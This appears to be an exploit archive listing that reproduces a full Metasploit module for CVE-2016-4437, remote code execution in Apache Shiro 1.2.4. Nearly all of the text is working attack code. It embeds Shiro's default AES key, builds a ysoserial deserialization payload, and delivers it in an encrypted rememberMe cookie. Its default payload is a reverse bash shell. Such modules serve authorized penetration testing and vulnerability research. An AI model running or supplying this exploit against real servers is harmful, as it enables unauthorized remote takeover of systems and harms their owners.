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Apache Shiro 1.2.4 Remote Code Execution

Apache Shiro 1.2.4 Remote Code Execution
Posted Apr 29, 2020
Authored by L | Site metasploit.com

This Metasploit module exploits a vulnerability that allows remote attackers to execute arbitrary code on vulnerable installations of Apache Shiro version 1.2.4.

tags | exploit, remote, arbitrary
advisories | CVE-2016-4437
MD5 | 50bc5cef4f68b32fda9b582ca1462094

Apache Shiro 1.2.4 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Apache Shiro v1.2.4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'L / l-codes[at]qq.com' # Metasploit module
],
'References' =>
[
['CVE', '2016-4437'],
['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
],
'Platform' => %w{ win unix },
'Arch' => [ ARCH_CMD ],
'Targets' =>
[
[
'Unix Command payload',
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
],
[
'Windows Command payload',
'Arch' => ARCH_CMD,
'Platform' => 'win'
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 7 2016',
'Privileged' => false,
'DefaultOptions' =>
{
'WfsDelay' => 5
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
])
end

def aes_encrypt(payload)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.encrypt
aes.key = Rex::Text.decode_base64('kPH+bIxk5D2deZiIxcaaaA==')
aes.random_iv + aes.update(payload) + aes.final
end

def exploit
cmd = payload.encoded
vprint_status("Execute CMD: #{cmd}")
type = ( target.name == 'Unix Command payload' ? 'bash' : 'cmd' )
java_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections2', cmd, modified_type: type)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)

send_request_cgi({
'uri' => target_uri.path,
'method' => 'GET',
'cookie' => "rememberMe=#{base64_ciphertext}"
})
end

end
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